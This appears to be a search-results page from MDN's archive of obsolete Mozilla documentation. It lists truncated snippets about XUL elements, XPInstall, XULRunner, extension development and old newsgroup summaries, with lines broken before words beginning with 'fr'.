Performance best practices in extensions - Archive of obsolete content
code should be modularized to the extent that doing so increases clarity, and loading of large or expensive chunks of code
fragments can be significantly deferred.
... if there is anything that can be done even a
fraction of a second later, you can use an nsitimer or the window.settimeout() method to schedule that work for later.
...these events happen with high
frequency, so their listeners can trivially create very high cpu overhead.
Add-ons - Archive of obsolete content
bookmarks.import() imports bookmarks
from an html bookmark file.
...so there may be still some reference to the xuldev website (we want to host source code on mdc, not on xuldev), and to japanese things (like some specific locales, which have been translated to
french since non-latin characters are not well supported).
... interaction between privileged and non-privileged pages an easy way to send data
from a web page to an extension is by using custom dom events.
Images, Tables, and Mysterious Gaps - Archive of obsolete content
this placement can be changed with vertical-align-- we'll talk about that in a bit-- but almost nobody ever changes the value
from its default.
... of course, documents authored in xhtml strict or html strict will trigger the "standards" rendering mode, so we're going to go through two basic ways to address the problem in strict documents, and a number of ways to call on these "fixes." setting images to be blocks the first choice, and one that will work for most graphically-intense designs, is to convert the image
from being an inline element to a block-level element.
...this will prevent browsers
from using standards-based rendering, and thus all the image-layout problems are avoided.
Installing plugins to Gecko embedding browsers on Windows - Archive of obsolete content
none of the registry keys mentioned here are written by browsers before the mozilla 0.9.1 time
frame.
...in addition, if you have made your plugin scriptable and accessible
from javascript, you ought to put the associated xpt file in the components directory.
...future mozilla based browsers won't distinguish between plugins and components, and will pick both up
from a common location.
Visualizing an audio spectrum - Archive of obsolete content
script spectrum example</title> </head> <body> <audio id="audio-element" src="song.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate,
framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate;
framebufferlength = audio.moz
framebufferlength; fft = new fft(
framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.
framebuffer, t = event.time, /* unuse...
...d, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl =
framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, // need to split and merge into a stero-mix mono signal signal[i] = (fb[2*i] + fb[2*i+1]) / 2; } fft.forward(signal); // clear the canvas before drawing spectrum ctx.clearrect(0,0, canvas.width, canvas.height); for (var i = 0; i < fft.spectrum.length; i++ ) { // multiply spectrum by a zoom value magnitude = fft.spectrum[i] * 4000; // draw rectangle bars for each
frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } } var audio = docum...
...ent.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); // fft
from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum = new float32array(buffersize/2); this.real = new float32array(buffersize); this.imag = new float32array(buffersize); this.reversetable = new uint32array(buffersize); this.sintable = new float32array(buffersize); this.costable = new float32array(buffersize); var limit = 1, bit = buffersize >> 1; while ( limit < buffersize ) { ...
Bookmark Keywords - Archive of obsolete content
searches, lookups, package tracking, and even word definitions can all be retrieved
from user-customized bookmarks.
...for example, a keyworded bookmark could be set up so that a user could type <tt>google spam and eggs</tt> and thereby trigger a google search for the words "spam and eggs." because these tools require bookmarks with specific keywords in order to work, they will be referred to hereafter as keymarks, as distinct
from regular bookmarks.
... now we can run google searches straight
from the address bar.
Making a Mozilla installation modifiable - Archive of obsolete content
although jar archives are binary files, mozilla's ui is not compiled into machine code; mozilla instead builds its ui
from the non-compiled files in the archive each time it starts up.
...although mozilla stores the ui files in jar archives, it can also access them in their original, unarchived form, which is useful for the extensions developer because it makes it unnecessary to extract the files
from the archive before changing the code and then re-add them to the archive afterwards.
...to make mozilla modifiable, we will first extract the ui files
from the archives using an unzip utility, then edit mozilla's registry of ui files to use the extracted files instead of the original jar archives.
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
see theme changes in firefox 4 for details on how to extract skin files
from firefox 4 or later.
...into this directory put the browser, global, communicator, help, and mozapps directories
from above, as well as the icon.png and preview.png files.
...once you have put the files in the zip folder, rename it to my_theme.jar triggering the install
from the web to install the theme's jar file directly
from the web, you need to run some javascript.
Installing Dehydra - Archive of obsolete content
(alternately, build
from source) a modern linux distribution.
...mkdir gcc-objdir mkdir gcc-dist cd gcc-objdir ../gcc-4.5.3/configure --disable-bootstrap --enable-languages=c,c++ --prefix=$pwd/../gcc-dist make make install building dehydra and treehydra building dehydra requires spidermonkey development headers
from the previous step.
...it is recommended to get the latest dehydra sources by checking out
from mercurial.
Downloading Nightly or Trunk Builds - Archive of obsolete content
as a development organization, the mozilla community tends to describe things
from the bottom up.
... so, if you are looking for the cutting edge firefox, you probably want a mozilla branch nightly build, that is, look for a mozilla thing (not a firefox thing), not the breaky one on trunk, but the most recent branch, and built very
fresh (last night!), so you can install it.
... nightly builds can be downloaded
from https://archive.mozilla.org/pub/firefox/nightly/.
Layout FAQ - Archive of obsolete content
is there a
framework for this?
... on the reflow branch you could check the dirty and dirty_children
framestate flags.
...b=0)< line 035ffc18: count=1 state=inline,clean,prevmarginclean,not impacted,not wrapped,before:nobr,after:linebr[0x5100] {0,0,330,300} < inline(span)(0)@035ffa04 next=035ffc48 next-continuation=035ffc48 {0,7,330,285} [content=0359ed50] [sc=035ff990]< text(0)@035ffa8c[0,4,t] next=035ffb1c {0,0,330,285} [state=41600020] sc=035ffa3c pst=:-moz-non-element< "\nabc" >
frame(br)(1)@035ffb1c {330,225,0,0} [state=00000020] [content=035aebf0] > > the linebox is used to contain everything on a single line: example how do you fix inconsistent float behavior in firefox involving a two column layout using display:table and floating div elements?
Code snippets - Archive of obsolete content
tabs
from other computers this snippet shows how to load all tabs
from other computers.
...components.utils.import("resource://services-sync/main.js"); weave.service._
freshstart(); // if you want to do it without wiping the server (which will cause corruption!): weave.service.generatenewsymmetrickeys(); print out a list of large bookmark records // change '1000' as appropriate.
...ave.service.storageurl + collection, recordtype); coll.full = true; coll.limit = null; coll.recordhandler = function(item) { item.collection = collection; item.decrypt(); if (item.deleted) { deleted++; } else { items[item.type] = 1 + (items[item.type] || 0); } }; coll.get(); console.log("deleted: " + deleted + ", " + json.stringify(items)); get a log
from xul fennec view about:sync-log.
GRE - Archive of obsolete content
the
framework for embedding mozilla technologies was at one point called the gre (gecko runtime environment).
... this embedding
framework allows applications to locate a compatible gecko runtime and embed it without knowing in advance where that runtime will be installed.
... finding and using a gre
from application code avoid linking directly against xpcom.dll if an application wishes to use the gre, it must take careful steps to ensure that it links against the proper libraries.
Helper Apps (and a bit of Save As) - Archive of obsolete content
gets notifications
from necko as the data comes in.
... launching a helper application this is delegated to the nspiexternalapplauncher (also implemented by the nsexternalhelperapphandler): windows: launch either directly via nsiprocess or via the ::shellexecute() method depending on where the mimeinfo came
from.
... security considerations multiple checks for whether a file is executable (on windows) to keep
from launching such files via ::shellexecute().
CRMF Request object - Archive of obsolete content
deprecatedthis feature has been removed
from the web standards.
... rfc 4211, the internet x.509 public key in
frastructure certificate request message format (crmf), defines a certreqmessage.
... the object returned by generatecrm
frequest() contains one of those.
Jetpack Snippets - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...feel
free to add your own!
...2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.init();}else{settimeout(arguments.callee);}})();void(firebug); ]]></script> </body></html>, width: 800, //wide enough to use firebug onselect: function(slide) { slide.slide(800, true); }}); calling into a slidebar
from the global jetpack scope jetpack.slidebar.append({ onready: function (slide) { // call out to a global function, passing the slidebar object exinitslidebar(slide); }, ...});function exinitslidebar(aslidebar) { // this variable will now be global slider = aslidebar;} // then, accessing the slidebar htmlvar tl = slider.contentdocument.getelementbyid("thumblist"); // or calling sl...
Settings - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...jetpack will automatically generate a user interface
from this specification that users of your jetpack may use to customize the settings.
... the user can open this interface
from the "settings" button next to your jetpack on the "installed features" tab of the about:jetpack page.
Selection - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection
from the user.
... jetpack.import.future("selection");var textofsel = jetpack.selection.text;var htmlofsel = jetpack.selection.html; setting the selection the following is an example of getting the selection
from the user.
BundleLibrary - Archive of obsolete content
we are working on a new bundle library compatible with the current prism version and welcome any contributions
from the developer community.
...ytics: ganalytics.webapp google reader: greader.webapp facebook: facebook.webapp twitter: twitter.webapp user contributed bundles gmail w/gtalk: gmail.webapp (note: work with latest version of prism!) 32 online todo lists: zip file with web apps for 32 online todo lists anywhere.fm: anywhere.fm@prism.app.webapp a service that lets you upload your entire music library to their servers and listen
from anywhere through a slick flash interface.
...only way i found to add the flash plugin to webrunner was to copy my plugins folder
from firefox to the webrunner folder.
FAQ - Archive of obsolete content
it lets users start web applications
from their desktop, start menu, and dock, and it opens those applications in their own window separate
from a web browser and without the browser interface (back and forward buttons, location bar, etc.).
... how is prism different
from xulrunner?
... microsoft windows 2000 xp vista mac os x 10.3.9+ (panther) 10.4 (tiger) 10.5 (leopard) linux kernel 2.2.14+ with glibc 2.3.2, x
free86-3.3.6, gtk+2.0, fontconfig/xft, and libstdc++5 ...
PyDOM - Archive of obsolete content
globals and namespaces this is taken
from a mail to the pyxpcom list - it should be expanded, but a copy-paste will do for now normal module semantics don't exist here.
...almost python code can not be secured - so it will only run
from trusted sources.
...content loaded
from anywhere other than a chrome:// url can not host python.
When To Use ifdefs - Archive of obsolete content
there are three major kinds of ifdefs in use in the mozilla tree: platform/widget ifdefs, feature ifdefs, and application-specific ifdefs: platform/widget ifdefs the mozilla code will
frequently need to differentiate between code for different platforms or widget sets.
...this is the trickiest kind of ifdef, because it is
frequently hard to determine what code is "shared" and what code is "application-specific".
...if you are introducing a makefile ifdef of any sort, please ask review
from one of the build-config peers: benjamin smedberg is generally happy to review these changes.
Writing textual data - Archive of obsolete content
os.close(); you can also write character arrays using the write function, although using writestring is simpler
from javascript code.
... alternative ways usable
from javascript do not support character encodings that use embedded nulls (such as utf-16 and utf-32).
...var chunk = converter.convert
fromunicode(your_string); os.write(chunk, chunk.length); // repeat as needed for further strings at the end, you need to call finish and write its data to the stream.
Windows stub installer - Archive of obsolete content
run the stub installer setup.exe
from the install directory.
... if you need to use vc++ to debug the installer: under project | settings | debug set "executable for debug session" to be the path to mozilla/dist/win32_d.obj/install/setup.exe set "working directory" to be the path to mozilla/dist/wind32_d.obj/install press f10 to step into the code how we get setup to debug the xpinstall engine
from the windows stub installer?
... adding a package involves a few steps: add a section named for your <component> to the packages-win manifest that describes which files
from dist belong to which module.
Install Wizards (aka: Stub Installers) - Archive of obsolete content
the xpinstall engine processes installer packages by reading instructions
from their install scripts to extract files and take other install actions.
...users download the stub installers, choose which packages to install, choose the destination directory for the installation, and select
from various other options.
...it then proceeds to extract the xpinstall engine and feed it the downloaded software packages to install.) the stub installer code includes: the logic to display the install wizard widgets and dialogs the code that reads in the configuration file (config.ini) and dynamically installs
from the net or
from local xpi modules found next to the installer binary the code that processes user selections the code that calls the xpinstall engine through xpistub the libxpnet code that is statically linked in the stub installers are written in code native to the platform using native widget toolkits including the windows api for windows, the mac toolbox for the mac, and gtk for the unix...
addFile - Archive of obsolete content
typically, absolute pathnames are only used for shared components, or components that come
from another vendor, such as /microsoft/shared/msvcrt40.dll.typically, relative pathnames are relative to the main pathname specified in the initinstall method.
...for variants or this method without a version argument the value
from initinstall will be used.
...some file transfer programs will convert apple binaries to this format on transfer if you transfer them
from a macintosh to a unix/windows machine before zipping up those files on that target system.
execute - Archive of obsolete content
description the execute method extracts the named file
from the xpi file to a temporary file name.
...the install object's execute method, on the other hand, deletes the executable
from its temporary location once it has finished.
... the outer quotes that
frame the args string itself are stripped off when the string is passed to the executable.
XPInstall - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
...an xpi (pronounced "zippy" and derived
from xpinstall) installer module is a zip file that contains an install script or manifest (entitled install.js or install.rdf) at the root of the file.
... learn xpi installer scripting by example this article uses the installer script
from browser.xpi install package as the basis for discussing xpi installations in general.
datasources - Archive of obsolete content
for rdf templates, the specified datasources are combined into a single composite datasource which holds the data
from all of the datasources.
...this will make the element so that its contents can be generated
from a datasource.
... when the xul document is contained on a remote web site, the datasources may only be loaded
from the same domain as the document.
validate - Archive of obsolete content
« xul reference home validate type: one of the values below this attribute indicates whether to load the image
from the cache or not.
... this would be useful if the images are stored remotely or you plan on swapping the image
frequently.
... never the image will be loaded
from the cache if possible.
Getting File Information - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages
from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...if the file is not present, the 'filesize' variable will not be changed
from the default value of 0.
...the following four methods return true or false: nsifile.isreadable() - returns true if the file can be read
from.
Uploading and Downloading Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages
from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...this is done by using an html <input> element using the file type
from within a form.
...to add a file field to the data you use a file object that an extension can construct
from file path.
Extensions - Archive of obsolete content
instead of having separate context menus depending on what type of element was the target of the context menu, only one context menu is used and items that don't apply to that type of element are hidden
from the menu as needed.
... in
frame true if the context click occured
from within a
frame.
...(note: was removed
from thunderbird 3 - see bug 463003 for a replacement) iscontentselected true if anything, text or otherwise, is selected.
MenuModification - Archive of obsolete content
also, need replace newmenu.label= "new" by newmenu.setattribute("label", "new"); (all when creating
from bootstrap.js in a bootstrapped addon) the addsubmenu function is called during the popupshowing event, which will be fired when an attempt to open the menu is made.
... removing items
from a menu to remove an item
from the menu, use the removeitemat method.
... to remove all of the items
from a menu, you may wish to simply remove the menupopup directly, instead of removing each item individually.
Bindings - Archive of obsolete content
<rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace
from above"/> dc:description="view
from the top of the tower looking east of the doges palace"/> if you try a full example based on this data, you will notice that only one result has been generated.
...(?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace
from above') (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?title = 'canal') (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?title = 'obelisk') the second triple will add a ?description for the first photo, adding a fourth variable-value pair to the existing data.
...(?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace
from above', ?description = 'view
from the top of the tower looking east of the doges palace') thus, only one match exists, so only one set of content is generated.
Building Menus With Templates - Archive of obsolete content
the menuitem elements however will be repeated for each result
from the query.
...generating a recursive menu menus are often generated
from a template recursively.
...first, the menu tag is different (menuitem versus menu), and the label is taken
from a different rdf predicate.
Building Trees - Archive of obsolete content
apart
from the flags attribute, the template syntax for the tree builder and the content builder are identical.
...the content builder generates content in the template body and substitutes data
from the datasource right away.
...ere is an example of a tree using an sqlite datasource: <tree datasources="profile:messages.sqlite" ref="*" querytype="storage" flags="dont-build-content"> <treecols> <treecol id="subject" label="subject" flex="3"/> <treecol id="sender" label="sender" flex="2"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <query> select subject, sender, date
from messages </query> <action> <treechildren> <treeitem uri="?"> <treerow> <treecell label="?subject"/> <treecell label="?sender"/> <treecell label="?date"/> </treerow> </treeitem> </treechildren> </action> </template> </tree> features of the tree builder besides the label of a cell, there are several...
Multiple Rules - Archive of obsolete content
if a result
from the query doesn't match any of the rules, it is ignored and no content is generated for it.
...the subject is the variable
from the result that want to compare.
...note the assign element in the example above, used to calculate the '?letters' variable
from the length of the name, minus one for the space character.
Rule Compilation - Archive of obsolete content
a query contains instructions for how to retrieve a set of data
from the datasource.
...an attribute substitution syntax, explained later, is used to modify the attributes of elements generated
from the template, to correspond with the data for each result.
...only the first matching rule for each result
from the query will apply.
Using Recursive Templates - Archive of obsolete content
the same query is executed again but using the groups generated
from the previous execution of the query.
...the content of the action body is again generated for each result, but instead of being inserted inside the outermost groupbox, this new content is inserted inside the content generated
from the previous iteration.
...as the type is bound to the local name of the result node, this will match only the first level of results
from the xml data, that is, those with the group tag.
XML Assignments - Archive of obsolete content
« previousnext » sometimes, you will want to use a more complex substitution apart
from just taking an attribute
from the xml.
...this element allows the use of additional xpath expressions to get more data
from the xml data.
...here, the two attributes 'name' and 'gender' will be taken
from the xml data, as in previous examples.
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
another tutorial, which walks you through the entire process
from the beginning, is also available.
...it is based on the code
from the repo above.
...the dimensions of the icons in various applications for both modes are summarized in the following table (feel
free to add information about other applications): application (theme name) big icon size small icon size firefox 1.0 (winstripe) 24x24 16x16 thunderbird 1.0 (qute) 24x24 16x16 the stylesheet to set the image for your toolbar button, use the following css rules: /* skin/toolbar-button.css */ #myextension-button { list-style-image: url("chrom...
Adding Event Handlers - Archive of obsolete content
by default the javascript console only shows errors
from web content.
...the command event is fired when a user activates an element, for example by pressing a button, changing a checkbox or selecting an item
from a menu.
... example 2 : source view <vbox oncommand="alert(event.target.tagname);"> <button label="ok"/> <checkbox label="show images"/> </vbox> in this example, the command event will bubble up
from the button or checkbox to the vbox, where it is handled.
Adding Properties to XBL-defined Elements - Archive of obsolete content
you can use the name
from a script to get and set the value.
...you can retrieve this same number multiple times by getting the number property
from the button.
...<property name="size" onget="return this.getattribute('size');" onset="this.setattribute('size', val);" /> whenever a script attempts to get the value of the property, it is grabbed instead
from the attribute on the element with the same name.
Creating a Window - Archive of obsolete content
note that you would normally import the global style sheet
from within your own style sheet file.
...(usually the browser window.) for example, we could open the find files dialog with either of the following: mozilla -chrome chrome://findfile/content/findfile.xul mozilla -chrome resource:/chrome/findfile/content/findfile.xul if you run this command
from a command-line (assuming you have one on your platform), the find files dialog will open by default instead of the mozilla browser window.
... the extension developer's extension contains an xul editor that allows you to type in xul code and see the results in real-time
from within mozilla!
Install Scripts - Archive of obsolete content
the adddirectory() function tells the installer that a directory
from the xpi archive (and all of its contents) should be installed to a particular location.
...the simplest takes only one argument, the directory
from the installer to install to the assigned installation directory.
... adddirectory ( dir ); addfile ( dir ); example: adddirectory("findfile"); the example above will specify that the findfile directory
from the installer archive should be installed.
List Controls - Archive of obsolete content
the user may select an item
from the list.
...it is made
from a textbox with a button beside it.
... editable menulist by default, you can only select choices
from the list.
Numeric Controls - Archive of obsolete content
<textbox type="number" increment="10" max="100"/> this textbox steps in multiples of 10
from 0 to 100.
...values with additional
fractional digits are rounded to two digits.
... scales a scale element may also be used to select
from a range of values.
Open and Save Dialogs - Archive of obsolete content
note that the file picker only works
from chrome urls.
...once the user selects a file or folder, it can be read
from or written to.
...(returnok will be returned when the user entered the name of a new file.) you should check the return value and then get the file object
from the file picker using the file property.
Styling a Tree - Archive of obsolete content
getrowproperties : function(row,prop){} getcolumnproperties : function(column,columnelement,prop){} getcellproperties : function(row,column,prop){}
from gecko 22 you can return a string of space-separated property names
from these functions.
...let's make every fourth row have blue text, using the example
from a previous section.
...
from gecko 22 your function should return a string containing the property.
Tree Selection - Archive of obsolete content
when the user selects an item
from the tree, the event handler is called.
...
from the tree, you can get the selection using the tree's view property and then retrieve the view's selection property.
...so if the first range is
from the third item to the seventh item, 'start.value' will be 2 (remember that indices start with 0, so we subtract one.) and 'end.value' will be 6.
XPCOM Examples - Archive of obsolete content
get the value of the id attribute
from the element.
...w-mediator"].getservice(); mediator.queryinterface(components.interfaces.nsiwindowdatasource); var resource = elem.getattribute('id'); switchwindow = mediator.getwindowforresource(resource); if (switchwindow){ switchwindow.focus(); } } </script> a command handler was added to the menu element which calls the function switchfocus() with a parameter of the element that was selected
from the menu.
...here is an example which populates a menu list with the names of all of the cookies set
from mozillazine.
Using Visual Studio as your XUL IDE - Archive of obsolete content
there is also project that provides xml schema for install manifest files (install.rdf) - installrdfschema.codeplex.com -
from the same author as a xul schema.
...to add the xul.xsd
from the package that you have downloaded.
...xbl if you are writing your own elements in xbl, you can download a xbl schema
from mozilla.doslash.org/xblschema.
Using nsIXULAppInfo - Archive of obsolete content
nsixulappinfo interface to distinguish between different mozilla-based applications, use the
frozen nsixulappinfo interface.
... the following sections provide a few examples of using nsixulappinfo
from javascript.
...for example, one of un
frozen functions you're relying on was changed.
Accessibility/XUL Accessibility Reference - Archive of obsolete content
groupbox <groupbox> <caption label="<!--group label-->" /> <hbox> <button label="<!--button text-->" /> </hbox> </groupbox> i
frame jaws 7.10 issues testing with jaws 7.10, use of an i
frame element causes many, unpredictable issues with xul inside of the i
frame.
... okay to use html inside of i
frame.
... tabbrowser jaws 7.10 issues testing with jaws 7.10, use of a tabbrowser element causes many, unpredictable issues with xul inside of the i
frame.
action - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] used to specify the content that should be generated for each matching result
from a query.
...for a matched rule, each variable will be a reference to data within the datasource, determined
from the query.
... examples example needed attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, ...
box - Archive of obsolete content
if the box has an orient attribute that is set to horizontal, the child elements are laid out
from left to right in the order that they appear in the box.
... if orient is set to vertical, the child elements are laid out
from top to bottom.
... examples <box orient="horizontal"> <label value="zero"/> <box orient="vertical"> <label value="one"/> <label value="two"/> </box> <box orient="horizontal"> <label value="three"/> <label value="four"/> </box> </box> attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, re...
editor - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a
frame which is expected to contain an editable document.
...you might also set the src attribute based on what the user selects
from a file dialog.
...xul applications loaded via a url
from a web server will not be able to access most of the features of the editor.
image - Archive of obsolete content
validate type: one of the values below this attribute indicates whether to load the image
from the cache or not.
... this would be useful if the images are stored remotely or you plan on swapping the image
frequently.
... never the image will be loaded
from the cache if possible.
menuitem - Archive of obsolete content
more information on adding checkmarks to menus in the xul tutorial validate type: one of the values below this attribute indicates whether to load the image
from the cache or not.
... this would be useful if the images are stored remotely or you plan on swapping the image
frequently.
... never the image will be loaded
from the cache if possible.
notificationbox - Archive of obsolete content
properties currentnotification, allnotifications, notificationshidden methods appendnotification, getnotificationwithvalue, removeallnotifications, removecurrentnotification, removenotification, removetransientnotifications, attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
...this should be either a string, or,
from gecko 37 onwards, you can pass a document
fragment with rich content as well.
... if the return value
from this function is not true, then the notification is closed.
prefwindow - Archive of obsolete content
returning false doesn't currently prevent the dialog
from closing, but does prevent saving (bug 474527).
...the value is read
from browser.preferences.instantapply boolean user preference.
...if a window with that type is already open, this method will just switch that window to the
front and focus it instead of opening another window.
scale - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a scale (sometimes referred to as a "slider") allows the user to select a value
from a range.
... normal for scales, the scale's values are ordered
from left to right (for horizontal scales) or
from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
... reverse for scales, the scale's values are ordered
from right to left (for horizontal scales) or
from bottom to top (for vertical scales).
stringbundle - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element which can be used to load localized resources
from property files.
... inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
... getstring( key ) return type: string returns the string with the given key name
from the string bundle.
tabbrowser - Archive of obsolete content
to get a string
from an nsiuri, use nsiuri.spec or nsiuri.asciispec loaduriwithflags( uri, flags, referrer, charset, postdata ) return type: no return value load a url into the document, with the specified load flags, the given referrer, character set, and post data.
... in addition to the flags allowed for the reloadwithflags method, the following flags are also valid: load_flags_is_re
fresh: this flag is used when the url is loaded because of a meta tag re
fresh or redirect.
... removeprogresslistener( listener ) return type: no return value remove a nsiwebprogresslistener
from the browser.
textbox - Archive of obsolete content
from gecko 1.9 to gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9), the script code would actually execute twice, once in the context of the anonymous html <input> element and once in the context of the <textbox> element itself.
...
from gecko 1.9 to gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9), the script code would actually execute twice, once in the context of the anonymous html <input> element and once in the context of the <textbox> element itself.
... added
from david walsh's article on spell check.
tooltip - Archive of obsolete content
returning false
from this event handler prevents the popup
from appearing.
... anchor the popup may be either anchored to another node or opened
freely.
... x, y for an anchored popup, the x and y arguments may be used to offset the popup
from its anchored position by some number, measured in css pixels.
Building XULRunner - Archive of obsolete content
instead a xulrunner build is a just special build made
from the firefox/mozilla tree, using the same tag as a firefox build.
... you can also check the user agent string in firefox help/about menu to get the mapping
from a certain binary firefox version to the corresponding xulrunner version.
... for instance, in firefox 2.0.0.9 you will get : mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.8.1.9) gecko/20071025 firefox/2.0.0.9 therefore the xulrunner version for this firefox version is : 1.8.1.9 fetching sources
from mercurial as with all other mozilla products, one would fetch recent sources
from mercurial.
Debugging a XULRunner Application - Archive of obsolete content
xulrunner.exe /path/to/application.ini -jsconsole by default the js console only shows errors
from web content.
... browser debugger as of gecko 44, it is no longer possible to start the devtools server
from xul apps.
...happy debugging :) venkman follow these instructions to install venkman into your xulrunner application (xulrunner 1.9 and later): get venkman
from addons.mozilla.org (v0.9.87 at the time of writing).
XULRunner FAQ - Archive of obsolete content
this page is intended to answer
frequently asked questions and correct common misconceptions about xulrunner.
...xulrunner can be used to make development tools (the ajax toolkit
framework, for example).
... xul was always the original language of choice for ui in mozilla applications and the main library is called libxul, mostly the name is a hangover
from that that has now stuck.
MacFAQ - Archive of obsolete content
if you've completed a xulrunner build, you should copy or symlink the dist/xul.
framework directory to /library/
frameworks.
... note that in order to copy the
framework while keeping the relative soft-links in the
framework, do something like: % ( cd dist ; gnutar cf - xul.
framework | ( cd /library/
frameworks ; gnutar xf - )) installing your application your application must be installed as a xulrunner app before you can open it.
... taking advantage of the core code "openurl"
from "nscommandlineservicemac.cpp", you'll see that it looks for "browser.chromeurl" before defaulting to navigator.xul, and this is called when an xulrunner app is already running, so: create a default preference of "browser.chromeurl" that points to your new "hiddenwindow" as such: "chrome://myxul/content/hiddenwindow.xul" next take the code below and drop it in, to create the hiddenwindow.xul...
XULRunner/Old Releases - Archive of obsolete content
1.9.2.x xulrunner releases these builds are built
from the stable 1.9.2 branch.
... nightly builds of xulrunner 1.9.0.x these builds are built
from the stable 1.9 branch.
... xulrunner 1.8.0.4 this is the last official stable developer preview release
from the 1.8.0 branch.
2006-11-17 - Archive of obsolete content
this user want to add a filter to his tb, so that it could color the mail that is for a particular recepient, however, the regular expression that he uses doesn't work and want suggestion
from others.
... answer: cc whoever you need review
from, but don't post a formal review.
... solution is provided by jay lee should there be an additional options for account configuration that just delete the messages
from the server whenever they are deleted in tb?
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.l10n - october 13, 2006 announcements seamonkey 1.0.5 he-il seamonkey 1.0.5 in hebrew was released a while ago firefox 2 rc2 is out firefox 2 rc2 is out, to download click here sunbird_0_3_release tag being created sunbird_0_3_release tag being created seamonkey 1.1 localization
freeze and beta upcoming there are no open blockers left.
... l10n
freeze on seamonkey 1.1 code is imminent in the next days, as well as beta release.
... do early testing using code
from this link.
2006-11-10 - Archive of obsolete content
announcments mike connor announced new 'driving' bugs "we have added a pair of drivers-only flags...o track bugs that are not strictly blockers, but are wanted as soon as possible" benjamin smedberg announced new rules for patches to toolkit
from now on unit test must be provided with all patches.
... other important notes are contained in the link above firefox and thunderbird 1.5.0.8 were released firefox and thunderbird 1.5.0.8 were released on november 7, 2006 blocker nomination and code
freeze for 1.5.0.9/2.0.0.1 blocker nomination is due on november 10.
... code
freeze for these versions is on november 26 version numbering changes paul reed announced changes to the way version numbers are done for pre-releases.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.platform - november 4th - november 10th, 2006 announcements no announcements this week traffic beaufour moves the discussion about xulrunner unit-tests like xpcshell
from mozilla.dev.platform to mozilla.dev.quality.
...benjamin smedberg has been "working on some xptcall refactoring which will allow us to expose xptcall via a
frozen api (and c linkage)".
...matthew gertner wants to know if anyone has written code to paste images
